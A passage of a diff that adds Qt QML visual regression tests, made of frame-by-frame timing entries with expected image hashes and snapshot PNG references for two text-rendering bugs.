+ hash: "daa67aed3e94e9e8823e8bed04aee960"
+ }
+ Frame {
+ msec: 528
+ hash: "75f26b0bbb2663bcadcedce260ef848a"
+ }
+ Frame {
+ msec: 544
+ hash: "75f26b0bbb2663bcadcedce260ef848a"
+ }
+ Frame {
+ msec: 560
+ hash: "75f26b0bbb2663bcadcedce260ef848a"
+ }
+ Frame {
+ msec: 576
+ hash: "75f26b0bbb2663bcadcedce260ef848a"
+ }
+ Frame {
+ msec: 592
+ hash: "75f26b0bbb2663bcadcedce260ef848a"
+ }
+ Frame {
+ msec: 608
+ hash: "75f26b0bbb2663bcadcedce260ef848a"
+ }
+ Frame {
+ msec: 624
+ hash: "6a8c8c0b7727e5e3063d93de59c7f0a2"
+ }
+ Frame {
+ msec: 640
+ hash: "6a8c8c0b7727e5e3063d93de59c7f0a2"
+ }
+ Frame {
+ msec: 656
+ hash: "6a8c8c0b7727e5e3063d93de59c7f0a2"
+ }
+ Frame {
+ msec: 672
+ hash: "6a8c8c0b7727e5e3063d93de59c7f0a2"
+ }
+ Frame {
+ msec: 688
+ hash: "6a8c8c0b7727e5e3063d93de59c7f0a2"
+ }
+ Frame {
+ msec: 704
+ hash: "6a8c8c0b7727e5e3063d93de59c7f0a2"
+ }
+ Frame {
+ msec: 720
+ hash: "d5bb5dd464f38af1790e0109033eb8ad"
+ }
+ Frame {
+ msec: 736
+ hash: "d5bb5dd464f38af1790e0109033eb8ad"
+ }
+ Frame {
+ msec: 752
+ hash: "d5bb5dd464f38af1790e0109033eb8ad"
+ }
+ Frame {
+ msec: 768
+ hash: "d5bb5dd464f38af1790e0109033eb8ad"
+ }
+ Frame {
+ msec: 784
+ hash: "d5bb5dd464f38af1790e0109033eb8ad"
+ }
+ Frame {
+ msec: 800
+ hash: "d5bb5dd464f38af1790e0109033eb8ad"
+ }
+ Frame {
+ msec: 816
+ hash: "8535be394c177dbdcb0435e35680e776"
+ }
+ Frame {
+ msec: 832
+ hash: "8535be394c177dbdcb0435e35680e776"
+ }
+ Frame {
+ msec: 848
+ hash: "8535be394c177dbdcb0435e35680e776"
+ }
+ Frame {
+ msec: 864
+ hash: "8535be394c177dbdcb0435e35680e776"
+ }
+ Frame {
+ msec: 880
+ hash: "8535be394c177dbdcb0435e35680e776"
+ }
+ Frame {
+ msec: 896
+ hash: "8535be394c177dbdcb0435e35680e776"
+ }
+ Frame {
+ msec: 912
+ hash: "8535be394c177dbdcb0435e35680e776"
+ }
+ Frame {
+ msec: 928
+ hash: "0ec4eba50495b474faf3feca4be64f7b"
+ }
+ Frame {
+ msec: 944
+ hash: "0ec4eba50495b474faf3feca4be64f7b"
+ }
+ Frame {
+ msec: 960
+ hash: "0ec4eba50495b474faf3feca4be64f7b"
+ }
+ Frame {
+ msec: 976
+ image: "QTBUG-14469.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "0ec4eba50495b474faf3feca4be64f7b"
+ }
+ Frame {
+ msec: 1008
+ hash: "0ec4eba50495b474faf3feca4be64f7b"
+ }
+ Frame {
+ msec: 1024
+ hash: "43993c686f4c10e91177297d8bb6eae9"
+ }
+ Frame {
+ msec: 1040
+ hash: "43993c686f4c10e91177297d8bb6eae9"
+ }
+ Frame {
+ msec: 1056
+ hash: "43993c686f4c10e91177297d8bb6eae9"
+ }
+ Frame {
+ msec: 1072
+ hash: "43993c686f4c10e91177297d8bb6eae9"
+ }
+ Frame {
+ msec: 1088
+ hash: "43993c686f4c10e91177297d8bb6eae9"
+ }
+ Frame {
+ msec: 1104
+ hash: "43993c686f4c10e91177297d8bb6eae9"
+ }
+ Frame {
+ msec: 1120
+ hash: "e1b070e2bf36e5d8a34cabc0d52b2830"
+ }
+ Frame {
+ msec: 1136
+ hash: "e1b070e2bf36e5d8a34cabc0d52b2830"
+ }
+ Frame {
+ msec: 1152
+ hash: "e1b070e2bf36e5d8a34cabc0d52b2830"
+ }
+ Frame {
+ msec: 1168
+ hash: "e1b070e2bf36e5d8a34cabc0d52b2830"
+ }
+ Frame {
+ msec: 1184
+ hash: "e1b070e2bf36e5d8a34cabc0d52b2830"
+ }
+ Frame {
+ msec: 1200
+ hash: "e1b070e2bf36e5d8a34cabc0d52b2830"
+ }
+ Frame {
+ msec: 1216
+ hash: "5f18ee7410e2d0b4d739abcec1b14bb4"
+ }
+ Frame {
+ msec: 1232
+ hash: "5f18ee7410e2d0b4d739abcec1b14bb4"
+ }
+ Frame {
+ msec: 1248
+ hash: "5f18ee7410e2d0b4d739abcec1b14bb4"
+ }
+ Frame {
+ msec: 1264
+ hash: "5f18ee7410e2d0b4d739abcec1b14bb4"
+ }
+ Frame {
+ msec: 1280
+ hash: "5f18ee7410e2d0b4d739abcec1b14bb4"
+ }
+ Frame {
+ msec: 1296
+ hash: "5f18ee7410e2d0b4d739abcec1b14bb4"
+ }
+ Frame {
+ msec: 1312
+ hash: "5f18ee7410e2d0b4d739abcec1b14bb4"
+ }
+ Frame {
+ msec: 1328
+ hash: "34ebe59f64ebc72fc2bf22af4118ec1f"
+ }
+ Frame {
+ msec: 1344
+ hash: "34ebe59f64ebc72fc2bf22af4118ec1f"
+ }
+ Frame {
+ msec: 1360
+ hash: "34ebe59f64ebc72fc2bf22af4118ec1f"
+ }
+ Frame {
+ msec: 1376
+ hash: "34ebe59f64ebc72fc2bf22af4118ec1f"
+ }
+ Frame {
+ msec: 1392
+ hash: "34ebe59f64ebc72fc2bf22af4118ec1f"
+ }
+ Frame {
+ msec: 1408
+ hash: "34ebe59f64ebc72fc2bf22af4118ec1f"
+ }
+ Frame {
+ msec: 1424
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1440
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1456
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1472
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1488
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1504
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1520
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 1536
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 1552
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 1568
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 1584
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 1600
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 1616
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 1632
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 1648
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 1664
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 1680
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 1696
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 1712
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 1728
+ hash: "4b79bd737312a5aa026b73c07bfd840c"
+ }
+ Frame {
+ msec: 1744
+ hash: "4b79bd737312a5aa026b73c07bfd840c"
+ }
+ Frame {
+ msec: 1760
+ hash: "4b79bd737312a5aa026b73c07bfd840c"
+ }
+ Frame {
+ msec: 1776
+ hash: "4b79bd737312a5aa026b73c07bfd840c"
+ }
+ Frame {
+ msec: 1792
+ hash: "4b79bd737312a5aa026b73c07bfd840c"
+ }
+ Frame {
+ msec: 1808
+ hash: "4b79bd737312a5aa026b73c07bfd840c"
+ }
+ Frame {
+ msec: 1824
+ hash: "daa67aed3e94e9e8823e8bed04aee960"
+ }
+ Frame {
+ msec: 1840
+ hash: "daa67aed3e94e9e8823e8bed04aee960"
+ }
+ Frame {
+ msec: 1856
+ hash: "daa67aed3e94e9e8823e8bed04aee960"
+ }
+ Frame {
+ msec: 1872
+ hash: "daa67aed3e94e9e8823e8bed04aee960"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data/QTBUG-14469.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data/QTBUG-14469.0.png
new file mode 100644
index 00000000..b8cc1c70
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data/QTBUG-14469.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data/QTBUG-14469.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data/QTBUG-14469.qml
new file mode 100644
index 00000000..6201c72f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data/QTBUG-14469.qml
@@ -0,0 +1,475 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 32
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 48
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 64
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 80
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 96
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 112
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 128
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 144
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 160
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 176
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 192
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 208
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 224
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 240
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 256
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 272
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 288
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 304
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 320
+ hash: "9c804e5eec3b31acd55a510d301cc419"
+ }
+ Frame {
+ msec: 336
+ hash: "9c804e5eec3b31acd55a510d301cc419"
+ }
+ Frame {
+ msec: 352
+ hash: "9c804e5eec3b31acd55a510d301cc419"
+ }
+ Frame {
+ msec: 368
+ hash: "9c804e5eec3b31acd55a510d301cc419"
+ }
+ Frame {
+ msec: 384
+ hash: "9c804e5eec3b31acd55a510d301cc419"
+ }
+ Frame {
+ msec: 400
+ hash: "9c804e5eec3b31acd55a510d301cc419"
+ }
+ Frame {
+ msec: 416
+ hash: "799c7a637b061686c1456c9c535594d3"
+ }
+ Frame {
+ msec: 432
+ hash: "799c7a637b061686c1456c9c535594d3"
+ }
+ Frame {
+ msec: 448
+ hash: "799c7a637b061686c1456c9c535594d3"
+ }
+ Frame {
+ msec: 464
+ hash: "799c7a637b061686c1456c9c535594d3"
+ }
+ Frame {
+ msec: 480
+ hash: "799c7a637b061686c1456c9c535594d3"
+ }
+ Frame {
+ msec: 496
+ hash: "799c7a637b061686c1456c9c535594d3"
+ }
+ Frame {
+ msec: 512
+ hash: "799c7a637b061686c1456c9c535594d3"
+ }
+ Frame {
+ msec: 528
+ hash: "51cd7a5bc24cdb50832066cc04cae313"
+ }
+ Frame {
+ msec: 544
+ hash: "51cd7a5bc24cdb50832066cc04cae313"
+ }
+ Frame {
+ msec: 560
+ hash: "51cd7a5bc24cdb50832066cc04cae313"
+ }
+ Frame {
+ msec: 576
+ hash: "51cd7a5bc24cdb50832066cc04cae313"
+ }
+ Frame {
+ msec: 592
+ hash: "51cd7a5bc24cdb50832066cc04cae313"
+ }
+ Frame {
+ msec: 608
+ hash: "51cd7a5bc24cdb50832066cc04cae313"
+ }
+ Frame {
+ msec: 624
+ hash: "bac094de06155c73e4d2d9e2fd99b038"
+ }
+ Frame {
+ msec: 640
+ hash: "bac094de06155c73e4d2d9e2fd99b038"
+ }
+ Frame {
+ msec: 656
+ hash: "bac094de06155c73e4d2d9e2fd99b038"
+ }
+ Frame {
+ msec: 672
+ hash: "bac094de06155c73e4d2d9e2fd99b038"
+ }
+ Frame {
+ msec: 688
+ hash: "bac094de06155c73e4d2d9e2fd99b038"
+ }
+ Frame {
+ msec: 704
+ hash: "bac094de06155c73e4d2d9e2fd99b038"
+ }
+ Frame {
+ msec: 720
+ hash: "3159c438d2cb58e31b4b458ba417f794"
+ }
+ Frame {
+ msec: 736
+ hash: "3159c438d2cb58e31b4b458ba417f794"
+ }
+ Frame {
+ msec: 752
+ hash: "3159c438d2cb58e31b4b458ba417f794"
+ }
+ Frame {
+ msec: 768
+ hash: "3159c438d2cb58e31b4b458ba417f794"
+ }
+ Frame {
+ msec: 784
+ hash: "3159c438d2cb58e31b4b458ba417f794"
+ }
+ Frame {
+ msec: 800
+ hash: "3159c438d2cb58e31b4b458ba417f794"
+ }
+ Frame {
+ msec: 816
+ hash: "a4f9c320c8aa558c66dd25d132bb5834"
+ }
+ Frame {
+ msec: 832
+ hash: "a4f9c320c8aa558c66dd25d132bb5834"
+ }
+ Frame {
+ msec: 848
+ hash: "a4f9c320c8aa558c66dd25d132bb5834"
+ }
+ Frame {
+ msec: 864
+ hash: "a4f9c320c8aa558c66dd25d132bb5834"
+ }
+ Frame {
+ msec: 880
+ hash: "a4f9c320c8aa558c66dd25d132bb5834"
+ }
+ Frame {
+ msec: 896
+ hash: "a4f9c320c8aa558c66dd25d132bb5834"
+ }
+ Frame {
+ msec: 912
+ hash: "a4f9c320c8aa558c66dd25d132bb5834"
+ }
+ Frame {
+ msec: 928
+ hash: "b1a283365bbffbc0ddaa4aa661e52add"
+ }
+ Frame {
+ msec: 944
+ hash: "b1a283365bbffbc0ddaa4aa661e52add"
+ }
+ Frame {
+ msec: 960
+ image: "QTBUG-14469.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "b1a283365bbffbc0ddaa4aa661e52add"
+ }
+ Frame {
+ msec: 992
+ hash: "b1a283365bbffbc0ddaa4aa661e52add"
+ }
+ Frame {
+ msec: 1008
+ hash: "b1a283365bbffbc0ddaa4aa661e52add"
+ }
+ Frame {
+ msec: 1024
+ hash: "57ba00590bed6fe1b0f8fc3e54b9637e"
+ }
+ Frame {
+ msec: 1040
+ hash: "57ba00590bed6fe1b0f8fc3e54b9637e"
+ }
+ Frame {
+ msec: 1056
+ hash: "57ba00590bed6fe1b0f8fc3e54b9637e"
+ }
+ Frame {
+ msec: 1072
+ hash: "57ba00590bed6fe1b0f8fc3e54b9637e"
+ }
+ Frame {
+ msec: 1088
+ hash: "57ba00590bed6fe1b0f8fc3e54b9637e"
+ }
+ Frame {
+ msec: 1104
+ hash: "57ba00590bed6fe1b0f8fc3e54b9637e"
+ }
+ Frame {
+ msec: 1120
+ hash: "e1b070e2bf36e5d8a34cabc0d52b2830"
+ }
+ Frame {
+ msec: 1136
+ hash: "e1b070e2bf36e5d8a34cabc0d52b2830"
+ }
+ Frame {
+ msec: 1152
+ hash: "e1b070e2bf36e5d8a34cabc0d52b2830"
+ }
+ Frame {
+ msec: 1168
+ hash: "e1b070e2bf36e5d8a34cabc0d52b2830"
+ }
+ Frame {
+ msec: 1184
+ hash: "e1b070e2bf36e5d8a34cabc0d52b2830"
+ }
+ Frame {
+ msec: 1200
+ hash: "e1b070e2bf36e5d8a34cabc0d52b2830"
+ }
+ Frame {
+ msec: 1216
+ hash: "bc81044e90cc001fc351a1518ba4b41e"
+ }
+ Frame {
+ msec: 1232
+ hash: "bc81044e90cc001fc351a1518ba4b41e"
+ }
+ Frame {
+ msec: 1248
+ hash: "bc81044e90cc001fc351a1518ba4b41e"
+ }
+ Frame {
+ msec: 1264
+ hash: "bc81044e90cc001fc351a1518ba4b41e"
+ }
+ Frame {
+ msec: 1280
+ hash: "bc81044e90cc001fc351a1518ba4b41e"
+ }
+ Frame {
+ msec: 1296
+ hash: "bc81044e90cc001fc351a1518ba4b41e"
+ }
+ Frame {
+ msec: 1312
+ hash: "bc81044e90cc001fc351a1518ba4b41e"
+ }
+ Frame {
+ msec: 1328
+ hash: "18386b56e44b1f3981b3aa8fe980410b"
+ }
+ Frame {
+ msec: 1344
+ hash: "18386b56e44b1f3981b3aa8fe980410b"
+ }
+ Frame {
+ msec: 1360
+ hash: "18386b56e44b1f3981b3aa8fe980410b"
+ }
+ Frame {
+ msec: 1376
+ hash: "18386b56e44b1f3981b3aa8fe980410b"
+ }
+ Frame {
+ msec: 1392
+ hash: "18386b56e44b1f3981b3aa8fe980410b"
+ }
+ Frame {
+ msec: 1408
+ hash: "18386b56e44b1f3981b3aa8fe980410b"
+ }
+ Frame {
+ msec: 1424
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1440
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1456
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1472
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1488
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1504
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1520
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 1536
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 1552
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 1568
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 1584
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 1600
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 1616
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 1632
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 1648
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 1664
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 1680
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 1696
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 1712
+ hash: "449c6b632a3b85462fe3947a071ffa91"
+ }
+ Frame {
+ msec: 1728
+ hash: "9c804e5eec3b31acd55a510d301cc419"
+ }
+ Frame {
+ msec: 1744
+ hash: "9c804e5eec3b31acd55a510d301cc419"
+ }
+ Frame {
+ msec: 1760
+ hash: "9c804e5eec3b31acd55a510d301cc419"
+ }
+ Frame {
+ msec: 1776
+ hash: "9c804e5eec3b31acd55a510d301cc419"
+ }
+ Frame {
+ msec: 1792
+ hash: "9c804e5eec3b31acd55a510d301cc419"
+ }
+ Frame {
+ msec: 1808
+ hash: "9c804e5eec3b31acd55a510d301cc419"
+ }
+ Frame {
+ msec: 1824
+ hash: "799c7a637b061686c1456c9c535594d3"
+ }
+ Frame {
+ msec: 1840
+ hash: "799c7a637b061686c1456c9c535594d3"
+ }
+ Frame {
+ msec: 1856
+ hash: "799c7a637b061686c1456c9c535594d3"
+ }
+ Frame {
+ msec: 1872
+ hash: "799c7a637b061686c1456c9c535594d3"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/data-MAC/qtbug_14865.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/data-MAC/qtbug_14865.0.png
new file mode 100644
index 00000000..75478566
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/data-MAC/qtbug_14865.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/data-MAC/qtbug_14865.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/data-MAC/qtbug_14865.1.png
new file mode 100644
index 00000000..84430bb7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/data-MAC/qtbug_14865.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/data-MAC/qtbug_14865.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/data-MAC/qtbug_14865.qml
new file mode 100644
index 00000000..d6d8c2aa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/data-MAC/qtbug_14865.qml
@@ -0,0 +1,447 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "qtbug_14865.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 48
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 64
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 80
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 96
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 112
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 128
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 144
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 160
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 176
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 192
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 208
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 224
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 240
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 256
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 272
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 288
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 304
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 320
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 336
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 352
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 368
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 384
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 400
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 416
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 432
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 448
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 464
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 480
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 496
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 512
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 528
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 544
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 560
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 576
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 592
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 608
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 624
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 640
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 656
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 672
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 688
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 704
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 720
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 736
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 752
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 768
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 784
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 800
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 816
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 832
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 848
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 864
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 880
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 896
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 912
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 928
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 944
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 960
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 976
+ image: "qtbug_14865.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 1008
+ hash: "212d34fa7425fe24398c9de6d4f10422"
+ }
+ Frame {
+ msec: 1024
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1040
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1056
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1072
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1088
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1104
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1120
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1136
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1152
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1168
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1184
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1200
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1216
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1232
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1248
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1264
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1280
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1296
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1312
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1328
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1344
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1360
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1376
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1392
